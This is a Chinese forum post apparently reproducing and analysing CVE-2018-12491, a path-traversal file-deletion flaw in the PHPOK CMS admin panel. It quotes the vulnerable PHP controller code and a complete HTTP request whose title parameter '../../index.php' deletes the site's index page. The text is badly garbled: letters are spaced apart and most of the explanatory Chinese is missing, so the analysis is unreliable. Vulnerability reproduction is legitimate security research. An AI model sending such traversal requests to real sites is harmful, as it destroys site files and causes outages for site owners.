[19390] 2018-08-16_CVE-2018-12491复现过程与分析

文档创建者:s7ckTeam
浏览次数:3
最后更新:2025-01-18
2018-08-16_CVE-2018-12491复现过程与分析 C V E - 2 0 1 8 - 1 2 4 9 1   i   2 0 1 8 - 0 8 - 1 6 F 0 r m a t i P H P O K 使 P H P M y S Q L L G P L 1 . h t t p s : / / w w w . l a n z o u s . c o m / i 1 k s j k d 2 . P H P s t u d y , P H P 5 . 6 3 .
4 . p h p o k
5 .
6 . 1 . 2 .
3 . / d a t a / c a c h e / 4 . 访 f r a m e w o r k / a d m i n / m o d u l e c _ c o n t r o l . p h p   6 4 2 $ t h i s - > l i b ( ' p h p z i p ' ) - > u n z i p ( $ t h i s - > d i r _ r o o t . $ z i p f i l e , $ t h i s - > d i r _ r o o t . ' d a t a / c a c h e / ' ) ; z i p / d a t a / c a c h e /
/ * *                   *                     *   @   z i p f i l e   Z I P                 * * /                 p u b l i c   f u n c t i o n   i m p o r t _ f ( )                 {                                             $ z i p f i l e   =   $ t h i s - > g e t ( ' z i p f i l e ' ) ;     i f ( ! $ z i p f i l e ) {                                                 $ t h i s - > l i b ( ' f o r m ' ) - > c s s j s ( a r r a y ( ' f o r m _ t y p e ' = > ' u p l o a d ' ) ) ;                                     $ t h i s - > a d d j s ( ' j s / w e b u p l o a d e r / a d m i n . u p l o a d . j s ' ) ;     $ t h i s - > v i e w ( ' m o d u l e _ i m p o r t ' ) ;                                 }                                 i f ( s t r p o s ( $ z i p f i l e , ' . . ' )   ! = =   f a l s e ) {                                                 $ t h i s - > e r r o r ( P _ L a n g ( ' . . ' ) ) ;                                 }                                 i f ( ! f i l e _ e x i s t s ( $ t h i s - > d i r _ r o o t . $ z i p f i l e ) ) {                         $ t h i s - > e r r o r ( P _ L a n g ( ' Z I P ' ) ) ;                                   }                                   $ t h i s - > l i b ( ' p h p z i p ' ) - > u n z i p ( $ t h i s - > d i r _ r o o t . $ z i p f i l e , $ t h i s - > d i r _ r o o t . ' d a t a / c a c h e / ' ) ;                                 i f ( ! f i l e _ e x i s t s ( $ t h i s - > d i r _ r o o t . ' d a t a / c a c h e / m o d u l e . x m l ' ) ) {                     $ t h i s - > e r r o r ( P _ L a n g ( ' ' ) ) ;                                 }                                 $ r s   =   $ i n f o   =   $ t h i s - > l i b ( ' x m l ' ) - > r e a d ( $ t h i s - > d i r _ r o o t . ' d a t a / c a c h e / m o d u l e . x m l ' , t r u e ) ;                                 i f ( ! $ r s ) {                                                 $ t h i s - > e r r o r ( P _ L a n g ( ' X M L ' ) ) ;                                 }                                 $ t m p   =   $ r s ;                               i f ( i s s e t ( $ t m p [ ' _ f i e l d s ' ] ) ) {                                                 u n s e t ( $ t m p [ ' _ f i e l d s ' ] ) ;                                 }                                 $ i n s e r t _ i d   =   $ t h i s - > m o d e l ( ' m o d u l e ' ) - > s a v e ( $ t m p ) ;                                 i f ( ! $ i n s e r t _ i d ) {                                               $ t h i s - > e r r o r ( P _ L a n g ( ' ' ) ) ;                                 }                                 $ t h i s - > m o d e l ( ' m o d u l e ' ) - > c r e a t e _ t b l ( $ i n s e r t _ i d ) ;     $ t b l _ e x i s t s = $ t h i s - > m o d e l ( ' m o d u l e ' ) - > c h k _ t b l _ e x i s t s ( $ i n s e r t _ i d , $ t m p [ ' m t y p e ' ] ) ;                                 i f ( ! $ t b l _ e x i s t s ) {                                                 $ t h i s - > m o d e l ( ' m o d u l e ' ) - > d e l e t e ( $ i n s e r t _ i d ) ;                 $ t h i s - > e r r o r ( P _ L a n g ( ' ' ) ) ;                                 }                                 i f ( i s s e t ( $ r s [ ' _ f i e l d s ' ] )   & &   $ r s [ ' _ f i e l d s ' ] ) {                             f o r e a c h ( $ r s [ ' _ f i e l d s ' ]   a s   $ k e y = > $ v a l u e ) {                                                                 i f ( $ v a l u e [ ' e x t ' ]   & &   i s _ a r r a y ( $ v a l u e [ ' e x t ' ] ) ) {                           $ v a l u e [ ' e x t ' ]   =   s e r i a l i z e ( $ v a l u e [ ' e x t ' ] ) ;                                                                 }                                                               $ v a l u e [ ' m o d u l e _ i d ' ]   =   $ i n s e r t _ i d ;                                             $ t h i s - > m o d e l ( ' m o d u l e ' ) - > f i e l d s _ s a v e ( $ v a l u e ) ;                             $ t h i s - > m o d e l ( ' m o d u l e ' ) - > c r e a t e _ f i e l d s ( $ v a l u e [ ' i d ' ] ) ;                                                 }                                 }                                 $ t h i s - > l i b ( ' f i l e ' ) - > r m ( $ t h i s > d i r _ c a c h e . ' m o d u l e . x m l ' ) ;                                 $ t h i s - > l i b ( ' f i l e ' ) - > r m ( $ t h i s - > d i r _ r o o t . $ z i p f i l e ) ;             $ t h i s - > s u c c e s s ( ) ;                 } } 1 . - > 2 .
3 . 便 4 . i n d e x . p h p G E T / a d m i n . p h p ? c = t p l & f = d e l f i l e & i d = 1 & f o l d e r = % 2 F & t i t l e = . . / . . / i n d e x . p h p & _ = 1 5 3 3 4 5 3 7 5 6 7 1 5   H T T P / 1 . 1 H o s t : s b . c o m A c c e p t : a p p l i c a t i o n / j s o n , t e x t / j a v a s c r i p t ,   * / * ;   q = 0 . 0 1 X - R e q u e s t e d - W i t h :   X M L H t t p R e q u e s t r e q u e s t _ t y p e :   a j a x U s e r - A g e n t :   M o z i l l a / 5 . 0   ( W i n d o w s   N T   6 . 1 ;   W i n 6 4 ;   x 6 4 )   A p p l e W e b K i t / 5 3 7 . 3 6   ( K H T M L ,   l i k e   G e c k o )   C h r o m e / 6 7 . 0 . 3 3 9 6 . 9 9   S a f a r i / 5 3 7 . 3 6 R e f e r e r : h t t p : / / s b . c o m / a d m i n . p h p ? c = t p l & f = l i s t & i d = 1 A c c e p t - E n c o d i n g : g z i p ,   d e f l a t e A c c e p t - L a n g u a g e :   z h - C N , z h ; q = 0 . 9 C o o k i e : h d _ s i d = a Z Y 7 Q f ; h d _ a u t h = f 0 c 7 B 2 J X p 7 h h u m O h q e q E L b Z 5 F J A 3 C % 2 F W 2 A K t 4 d i 3 d u Y f 1 l 5 T % 2 B b k C M P F k W u s 2 W r H f U g 2 Z 8 n p 8 o M 4 V y g P G W o l g u ; P H P S E S S I O N = t l c m 8 f q 4 v h i o 5 g k h 5 l 1 f 5 1 5 6 i 3 C o n n e c t i o n :   c l o s e 5 . 访
f r a m e w o r k / a d m i n / t p l _ c o n t r o l . p h p 2 9 7 $ f i l e . . / . . / $ f i l e = $ t h i s > d i r _ r o o t . " t p l / " . $ r s [ " f o l d e r " ] . $ f o l d e r . $ t i t l e ; / * *                   *                   * * /                 p u b l i c   f u n c t i o n   d e l f i l e _ f ( )                 {                                 i f ( ! $ t h i s - > p o p e d o m [ " f i l e l i s t " ] ) {                                                 $ t h i s - > e r r o r ( P _ L a n g ( ' ' ) ) ;                                 }                                 $ i d   =   $ t h i s - > g e t ( " i d " , " i n t " ) ;                                 i f ( ! $ i d ) {                                                 $ t h i s - > e r r o r ( P _ L a n g ( ' I D ' ) ) ;                                 }                                 $ r s   =   $ t h i s - > m o d e l ( ' t p l ' ) - > g e t _ o n e ( $ i d ) ;                             i f ( ! $ r s ) {                                                 $ t h i s - > e r r o r ( P _ L a n g ( ' ' ) ) ;                               }                                 i f ( ! $ r s [ " f o l d e r " ] ) {                                                 $ t h i s - > e r r o r ( P _ L a n g ( ' ' ) ) ;                           }                                 $ f o l d e r   =   $ t h i s - > g e t ( " f o l d e r " ) ;                                 i f ( ! $ f o l d e r ) {                                                 $ f o l d e r   =   " / " ;                                 }                                 $ t i t l e   =   $ t h i s - > g e t ( " t i t l e " ) ;                                 $ f i l e   =   $ t h i s - > d i r _ r o o t . " t p l / " . $ r s [ " f o l d e r " ] . $ f o l d e r . $ t i t l e ;     i f ( ! f i l e _ e x i s t s ( $ f i l e ) ) {                                                 $ t h i s - > e r r o r ( P _ L a n g ( ' ' ) ) ;                         }                                 i f ( i s _ d i r ( $ f i l e ) ) {                                                 $ t h i s - > l i b ( ' f i l e ' ) - > r m ( $ f i l e , " f o l d e r " ) ;                                 } e l s e {                                                 $ t h i s - > l i b ( ' f i l e ' ) - > r m ( $ f i l e ) ;                                 }                         $ t h i s - > s u c c e s s ( ) ;                 }
C V E ~
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则